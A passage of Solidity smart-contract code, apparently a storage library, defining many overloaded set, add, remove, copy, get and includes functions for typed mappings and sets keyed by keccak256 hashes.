_key)), _value); } function set(StorageInterface.Config storage self, StorageInterface.Mapping storage item, bytes32 _key, bytes32 _value) internal { _setBytes32(self.crate, keccak256(abi.encodePacked(item.id, _key)), _value); } function set(StorageInterface.Config storage self, StorageInterface.StringMapping storage item, bytes32 _key, string _value) internal { set(self, item.id, _key, _value); } function set(StorageInterface.Config storage self, StorageInterface.AddressUInt8Mapping storage item, bytes32 _key, address _value1, uint8 _value2) internal { _setAddressUInt8(self.crate, keccak256(abi.encodePacked(item.id, _key)), _value1, _value2); } function set(StorageInterface.Config storage self, StorageInterface.Mapping storage item, bytes32 _key, bytes32 _key2, bytes32 _value) internal { set(self, item, keccak256(abi.encodePacked(_key, _key2)), _value); } function set(StorageInterface.Config storage self, StorageInterface.Mapping storage item, bytes32 _key, bytes32 _key2, bytes32 _key3, bytes32 _value) internal { set(self, item, keccak256(abi.encodePacked(_key, _key2, _key3)), _value); } function set(StorageInterface.Config storage self, StorageInterface.Bool storage item, bytes32 _key, bytes32 _key2, bytes32 _key3, bool _value) internal { set(self, item, keccak256(abi.encodePacked(_key, _key2, _key3)), _value); } function set(StorageInterface.Config storage self, StorageInterface.UIntAddressMapping storage item, uint _key, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.UIntUIntMapping storage item, uint _key, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.UIntBoolMapping storage item, uint _key, bool _value) internal { set(self, item.innerMapping, bytes32(_key), _value); } function set(StorageInterface.Config storage self, StorageInterface.UIntEnumMapping storage item, uint _key, uint8 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.UIntBytes32Mapping storage item, uint _key, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), _value); } function set(StorageInterface.Config storage self, StorageInterface.Bytes32UIntMapping storage item, bytes32 _key, uint _value) internal { set(self, item.innerMapping, _key, bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.Bytes32UInt8Mapping storage item, bytes32 _key, uint8 _value) internal { set(self, item.innerMapping, _key, _value); } function set(StorageInterface.Config storage self, StorageInterface.Bytes32BoolMapping storage item, bytes32 _key, bool _value) internal { set(self, item.innerMapping, _key, _value); } function set(StorageInterface.Config storage self, StorageInterface.Bytes32Bytes32Mapping storage item, bytes32 _key, bytes32 _value) internal { set(self, item.innerMapping, _key, _value); } function set(StorageInterface.Config storage self, StorageInterface.Bytes32AddressMapping storage item, bytes32 _key, address _value) internal { set(self, item.innerMapping, _key, bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.Bytes32UIntBoolMapping storage item, bytes32 _key, uint _key2, bool _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2)), _value); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntMapping storage item, address _key, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressBoolMapping storage item, address _key, bool _value) internal { set(self, item.innerMapping, bytes32(_key), toBytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressBytes32Mapping storage item, address _key, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), _value); } function set(StorageInterface.Config storage self, StorageInterface.AddressAddressMapping storage item, address _key, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressAddressUIntMapping storage item, address _key, address _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntMapping storage item, address _key, uint _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressAddressUInt8Mapping storage item, address _key, address _key2, uint8 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntUInt8Mapping storage item, address _key, uint _key2, uint8 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressBytes32Bytes32Mapping storage item, address _key, bytes32 _key2, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), _key2, _value); } function set(StorageInterface.Config storage self, StorageInterface.UIntAddressUIntMapping storage item, uint _key, address _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.UIntAddressBoolMapping storage item, uint _key, address _key2, bool _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), toBytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.UIntAddressAddressMapping storage item, uint _key, address _key2, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.UIntUIntAddressMapping storage item, uint _key, uint _key2, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.UIntUIntBytes32Mapping storage item, uint _key, uint _key2, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), _value); } function set(StorageInterface.Config storage self, StorageInterface.UIntUIntUIntMapping storage item, uint _key, uint _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.UIntAddressAddressBoolMapping storage item, uint _key, address _key2, address _key3, bool _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3), _value); } function set(StorageInterface.Config storage self, StorageInterface.UIntUIntUIntBytes32Mapping storage item, uint _key, uint _key2, uint _key3, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3), _value); } function set(StorageInterface.Config storage self, StorageInterface.Bytes32UIntUIntMapping storage item, bytes32 _key, uint _key2, uint _value) internal { set(self, item.innerMapping, _key, bytes32(_key2), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.Bytes32UIntUIntUIntMapping storage item, bytes32 _key, uint _key2, uint _key3, uint _value) internal { set(self, item.innerMapping, _key, bytes32(_key2), bytes32(_key3), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntUIntMapping storage item, address _key, uint _key2, uint _key3, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2)), _value, _value2); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3)), _value, _value2); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4)), _value, _value2); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, uint _key5, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5)), _value, _value2); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntAddressUInt8Mapping storage item, address _key, uint _key2, address _key3, uint8 _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3)), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, address _key4, uint8 _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4)), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, address _key5, uint8 _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5)), bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressBytes4BoolMapping storage item, address _key, bytes4 _key2, bool _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), toBytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.AddressBytes4Bytes32Mapping storage item, address _key, bytes4 _key2, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), _value); } /** `add` operation */ function add(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _value) internal { add(self, item, SET_IDENTIFIER, _value); } function add(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _salt, bytes32 _value) private { if (includes(self, item, _salt, _value)) { return; } uint newCount = count(self, item, _salt) + 1; set(self, item.values, _salt, bytes32(newCount), _value); set(self, item.indexes, _salt, _value, bytes32(newCount)); set(self, item.count, _salt, newCount); } function add(StorageInterface.Config storage self, StorageInterface.AddressesSet storage item, address _value) internal { add(self, item.innerSet, bytes32(_value)); } function add(StorageInterface.Config storage self, StorageInterface.CounterSet storage item) internal { add(self, item.innerSet, bytes32(count(self, item) + 1)); } function add(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _value) internal { add(self, item, ORDERED_SET_IDENTIFIER, _value); } function add(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _salt, bytes32 _value) private { if (_value == 0x0) { revert(); } if (includes(self, item, _salt, _value)) { return; } if (count(self, item, _salt) == 0x0) { set(self, item.first, _salt, _value); } if (get(self, item.last, _salt) != 0x0) { _setOrderedSetLink(self, item.nextValues, _salt, get(self, item.last, _salt), _value); _setOrderedSetLink(self, item.previousValues, _salt, _value, get(self, item.last, _salt)); } _setOrderedSetLink(self, item.nextValues, _salt, _value, 0x0); set(self, item.last, _salt, _value); set(self, item.count, _salt, get(self, item.count, _salt) + 1); } function add(StorageInterface.Config storage self, StorageInterface.Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal { add(self, item.innerMapping, _key, _value); } function add(StorageInterface.Config storage self, StorageInterface.AddressesSetMapping storage item, bytes32 _key, address _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(StorageInterface.Config storage self, StorageInterface.UIntSetMapping storage item, bytes32 _key, uint _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(StorageInterface.Config storage self, StorageInterface.Bytes32OrderedSetMapping storage item, bytes32 _key, bytes32 _value) internal { add(self, item.innerMapping, _key, _value); } function add(StorageInterface.Config storage self, StorageInterface.UIntOrderedSetMapping storage item, bytes32 _key, uint _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(StorageInterface.Config storage self, StorageInterface.AddressOrderedSetMapping storage item, bytes32 _key, address _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, uint _value) internal { add(self, item.innerSet, bytes32(_value)); } function add(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, address _value) internal { add(self, item.innerSet, bytes32(_value)); } function set(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _oldValue, bytes32 _newValue) internal { set(self, item, SET_IDENTIFIER, _oldValue, _newValue); } function set(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _salt, bytes32 _oldValue, bytes32 _newValue) private { if (!includes(self, item, _salt, _oldValue)) { return; } uint index = uint(get(self, item.indexes, _salt, _oldValue)); set(self, item.values, _salt, bytes32(index), _newValue); set(self, item.indexes, _salt, _newValue, bytes32(index)); set(self, item.indexes, _salt, _oldValue, bytes32(0)); } function set(StorageInterface.Config storage self, StorageInterface.AddressesSet storage item, address _oldValue, address _newValue) internal { set(self, item.innerSet, bytes32(_oldValue), bytes32(_newValue)); } /** `remove` operation */ function remove(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _value) internal { remove(self, item, SET_IDENTIFIER, _value); } function remove(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _salt, bytes32 _value) private { if (!includes(self, item, _salt, _value)) { return; } uint lastIndex = count(self, item, _salt); bytes32 lastValue = get(self, item.values, _salt, bytes32(lastIndex)); uint index = uint(get(self, item.indexes, _salt, _value)); if (index < lastIndex) { set(self, item.indexes, _salt, lastValue, bytes32(index)); set(self, item.values, _salt, bytes32(index), lastValue); } set(self, item.indexes, _salt, _value, bytes32(0)); set(self, item.values, _salt, bytes32(lastIndex), bytes32(0)); set(self, item.count, _salt, lastIndex - 1); } function remove(StorageInterface.Config storage self, StorageInterface.AddressesSet storage item, address _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(StorageInterface.Config storage self, StorageInterface.CounterSet storage item, uint _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _value) internal { remove(self, item, ORDERED_SET_IDENTIFIER, _value); } function remove(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _salt, bytes32 _value) private { if (!includes(self, item, _salt, _value)) { return; } _setOrderedSetLink(self, item.nextValues, _salt, get(self, item.previousValues, _salt, _value), get(self, item.nextValues, _salt, _value)); _setOrderedSetLink(self, item.previousValues, _salt, get(self, item.nextValues, _salt, _value), get(self, item.previousValues, _salt, _value)); if (_value == get(self, item.first, _salt)) { set(self, item.first, _salt, get(self, item.nextValues, _salt, _value)); } if (_value == get(self, item.last, _salt)) { set(self, item.last, _salt, get(self, item.previousValues, _salt, _value)); } _deleteOrderedSetLink(self, item.nextValues, _salt, _value); _deleteOrderedSetLink(self, item.previousValues, _salt, _value); set(self, item.count, _salt, get(self, item.count, _salt) - 1); } function remove(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, uint _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, address _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(StorageInterface.Config storage self, StorageInterface.Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal { remove(self, item.innerMapping, _key, _value); } function remove(StorageInterface.Config storage self, StorageInterface.AddressesSetMapping storage item, bytes32 _key, address _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } function remove(StorageInterface.Config storage self, StorageInterface.UIntSetMapping storage item, bytes32 _key, uint _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } function remove(StorageInterface.Config storage self, StorageInterface.Bytes32OrderedSetMapping storage item, bytes32 _key, bytes32 _value) internal { remove(self, item.innerMapping, _key, _value); } function remove(StorageInterface.Config storage self, StorageInterface.UIntOrderedSetMapping storage item, bytes32 _key, uint _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } function remove(StorageInterface.Config storage self, StorageInterface.AddressOrderedSetMapping storage item, bytes32 _key, address _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } /** 'copy` operation */ function copy(StorageInterface.Config storage self, StorageInterface.Set storage source, StorageInterface.Set storage dest) internal { uint _destCount = count(self, dest); bytes32[] memory _toRemoveFromDest = new bytes32[](_destCount); uint _idx; uint _pointer = 0; for (_idx = 0; _idx < _destCount; ++_idx) { bytes32 _destValue = get(self, dest, _idx); if (!includes(self, source, _destValue)) { _toRemoveFromDest[_pointer++] = _destValue; } } uint _sourceCount = count(self, source); for (_idx = 0; _idx < _sourceCount; ++_idx) { add(self, dest, get(self, source, _idx)); } for (_idx = 0; _idx < _pointer; ++_idx) { remove(self, dest, _toRemoveFromDest[_idx]); } } function copy(StorageInterface.Config storage self, StorageInterface.AddressesSet storage source, StorageInterface.AddressesSet storage dest) internal { copy(self, source.innerSet, dest.innerSet); } function copy(StorageInterface.Config storage self, StorageInterface.CounterSet storage source, StorageInterface.CounterSet storage dest) internal { copy(self, source.innerSet, dest.innerSet); } /** `get` operation */ function get(StorageInterface.Config storage self, StorageInterface.UInt storage item) internal view returns (uint) { return getUInt(self.crate, item.id); } function get(StorageInterface.Config storage self, StorageInterface.UInt storage item, bytes32 salt) internal view returns (uint) { return getUInt(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(StorageInterface.Config storage self, StorageInterface.UInt8 storage item) internal view returns (uint8) { return getUInt8(self.crate, item.id); } function get(StorageInterface.Config storage self, StorageInterface.UInt8 storage item, bytes32 salt) internal view returns (uint8) { return getUInt8(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(StorageInterface.Config storage self, StorageInterface.Int storage item) internal view returns (int) { return getInt(self.crate, item.id); } function get(StorageInterface.Config storage self, StorageInterface.Int storage item, bytes32 salt) internal view returns (int) { return getInt(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(StorageInterface.Config storage self, StorageInterface.Address storage item) internal view returns (address) { return getAddress(self.crate, item.id); } function get(StorageInterface.Config storage self, StorageInterface.Address storage item, bytes32 salt) internal view returns (address) { return getAddress(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(StorageInterface.Config storage self, StorageInterface.Bool storage item) internal view returns (bool) { return getBool(self.crate, item.id); } function get(StorageInterface.Config storage self, StorageInterface.Bool storage item, bytes32 salt) internal view returns (bool) { return getBool(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32 storage item) internal view returns (bytes32) { return getBytes32(self.crate, item.id); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32 storage item, bytes32 salt) internal view returns (bytes32) { return getBytes32(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(StorageInterface.Config storage self, StorageInterface.String storage item) internal view returns (string) { return getString(self.crate, item.id); } function get(StorageInterface.Config storage self, StorageInterface.String storage item, bytes32 salt) internal view returns (string) { return getString(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(StorageInterface.Config storage self, StorageInterface.Mapping storage item, uint _key) internal view returns (uint) { return getUInt(self.crate, keccak256(abi.encodePacked(item.id, _key))); } function get(StorageInterface.Config storage self, StorageInterface.Mapping storage item, bytes32 _key) internal view returns (bytes32) { return getBytes32(self.crate, keccak256(abi.encodePacked(item.id, _key))); } function get(StorageInterface.Config storage self, StorageInterface.StringMapping storage item, bytes32 _key) internal view returns (string) { return get(self, item.id, _key); } function get(StorageInterface.Config storage self, StorageInterface.AddressUInt8Mapping storage item, bytes32 _key) internal view returns (address, uint8) { return getAddressUInt8(self.crate, keccak256(abi.encodePacked(item.id, _key))); } function get(StorageInterface.Config storage self, StorageInterface.Mapping storage item, bytes32 _key, bytes32 _key2) internal view returns (bytes32) { return get(self, item, keccak256(abi.encodePacked(_key, _key2))); } function get(StorageInterface.Config storage self, StorageInterface.Mapping storage item, bytes32 _key, bytes32 _key2, bytes32 _key3) internal view returns (bytes32) { return get(self, item, keccak256(abi.encodePacked(_key, _key2, _key3))); } function get(StorageInterface.Config storage self, StorageInterface.Bool storage item, bytes32 _key, bytes32 _key2, bytes32 _key3) internal view returns (bool) { return get(self, item, keccak256(abi.encodePacked(_key, _key2, _key3))); } function get(StorageInterface.Config storage self, StorageInterface.UIntBoolMapping storage item, uint _key) internal view returns (bool) { return get(self, item.innerMapping, bytes32(_key)); } function get(StorageInterface.Config storage self, StorageInterface.UIntEnumMapping storage item, uint _key) internal view returns (uint8) { return uint8(get(self, item.innerMapping, bytes32(_key))); } function get(StorageInterface.Config storage self, StorageInterface.UIntUIntMapping storage item, uint _key) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key))); } function get(StorageInterface.Config storage self, StorageInterface.UIntAddressMapping storage item, uint _key) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key))); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32UIntMapping storage item, bytes32 _key) internal view returns (uint) { return uint(get(self, item.innerMapping, _key)); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32AddressMapping storage item, bytes32 _key) internal view returns (address) { return address(get(self, item.innerMapping, _key)); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32UInt8Mapping storage item, bytes32 _key) internal view returns (uint8) { return get(self, item.innerMapping, _key); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32BoolMapping storage item, bytes32 _key) internal view returns (bool) { return get(self, item.innerMapping, _key); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32Bytes32Mapping storage item, bytes32 _key) internal view returns (bytes32) { return get(self, item.innerMapping, _key); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32UIntBoolMapping storage item, bytes32 _key, uint _key2) internal view returns (bool) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2))); } function get(StorageInterface.Config storage self, StorageInterface.UIntBytes32Mapping storage item, uint _key) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key)); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntMapping storage item, address _key) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key))); } function get(StorageInterface.Config storage self, StorageInterface.AddressBoolMapping storage item, address _key) internal view returns (bool) { return toBool(get(self, item.innerMapping, bytes32(_key))); } function get(StorageInterface.Config storage self, StorageInterface.AddressAddressMapping storage item, address _key) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key))); } function get(StorageInterface.Config storage self, StorageInterface.AddressBytes32Mapping storage item, address _key) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key)); } function get(StorageInterface.Config storage self, StorageInterface.UIntUIntBytes32Mapping storage item, uint _key, uint _key2) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2)); } function get(StorageInterface.Config storage self, StorageInterface.UIntUIntAddressMapping storage item, uint _key, uint _key2) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.UIntUIntUIntMapping storage item, uint _key, uint _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32UIntUIntMapping storage item, bytes32 _key, uint _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, _key, bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32UIntUIntUIntMapping storage item, bytes32 _key, uint _key2, uint _key3) internal view returns (uint) { return uint(get(self, item.innerMapping, _key, bytes32(_key2), bytes32(_key3))); } function get(StorageInterface.Config storage self, StorageInterface.AddressAddressUIntMapping storage item, address _key, address _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.AddressAddressUInt8Mapping storage item, address _key, address _key2) internal view returns (uint8) { return uint8(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntMapping storage item, address _key, uint _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntUInt8Mapping storage item, address _key, uint _key2) internal view returns (uint) { return uint8(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.AddressBytes32Bytes32Mapping storage item, address _key, bytes32 _key2) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), _key2); } function get(StorageInterface.Config storage self, StorageInterface.AddressBytes4BoolMapping storage item, address _key, bytes4 _key2) internal view returns (bool) { return toBool(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.AddressBytes4Bytes32Mapping storage item, address _key, bytes4 _key2) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2)); } function get(StorageInterface.Config storage self, StorageInterface.UIntAddressUIntMapping storage item, uint _key, address _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.UIntAddressBoolMapping storage item, uint _key, address _key2) internal view returns (bool) { return toBool(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.UIntAddressAddressMapping storage item, uint _key, address _key2) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.UIntAddressAddressBoolMapping storage item, uint _key, address _key2, address _key3) internal view returns (bool) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3)); } function get(StorageInterface.Config storage self, StorageInterface.UIntUIntUIntBytes32Mapping storage item, uint _key, uint _key2, uint _key3) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3)); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntUIntMapping storage item, address _key, uint _key2, uint _key3) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3))); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntStructAddressUInt8Mapping storage item, address _key, uint _key2) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2))); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3))); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4))); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, uint _key5) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5))); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntAddressUInt8Mapping storage item, address _key, uint _key2, address _key3) internal view returns (uint8) { return uint8(get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3)))); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, address _key4) internal view returns (uint8) { return uint8(get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4)))); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, address _key5) internal view returns (uint8) { return uint8(get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5)))); } /** `includes` operation */ function includes(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _value) internal view returns (bool) { return includes(self, item, SET_IDENTIFIER, _value); } function includes(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _salt, bytes32 _value) internal view returns (bool) { return get(self, item.indexes, _salt, _value) != 0; } function includes(StorageInterface.Config storage self, StorageInterface.AddressesSet storage item, address _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(StorageInterface.Config storage self, StorageInterface.CounterSet storage item, uint _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _value) internal view returns (bool) { return includes(self, item, ORDERED_SET_IDENTIFIER, _value); } function includes(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _salt, bytes32 _value) private view returns (bool) { return _value != 0x0 && (get(self, item.nextValues, _salt, _value) != 0x0 || get(self, item.last, _salt) == _value); } function includes(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, uint _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, address _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(StorageInterface.Config storage self, StorageInterface.Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, _value); } function includes(StorageInterface.Config storage self, StorageInterface.AddressesSetMapping storage item, bytes32 _key, address _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function includes(StorageInterface.Config storage self, StorageInterface.UIntSetMapping storage item, bytes32 _key, uint _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function includes(StorageInterface.Config storage self, StorageInterface.Bytes32OrderedSetMapping storage item, bytes32 _key, bytes32 _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, _value); } function includes(StorageInterface.Config storage self, StorageInterface.UIntOrderedSetMapping storage item, bytes32 _key, uint _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function includes(StorageInterface.Config storage self, StorageInterface.AddressOrderedSetMapping storage item, bytes32 _key, address _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function getIndex(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _value) internal view returns (uint) { return getIndex(self, item, SET_IDENTIFIER, _value); } function getIndex(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _salt, bytes32 _value) private view returns (uint) { return uint(get(self, item.indexes, _salt, _value)); } function getIndex(StorageInterface.Config storage self, StorageInterface.AddressesSet storage item, address _value) internal view returns (uint) { return getIndex(self, 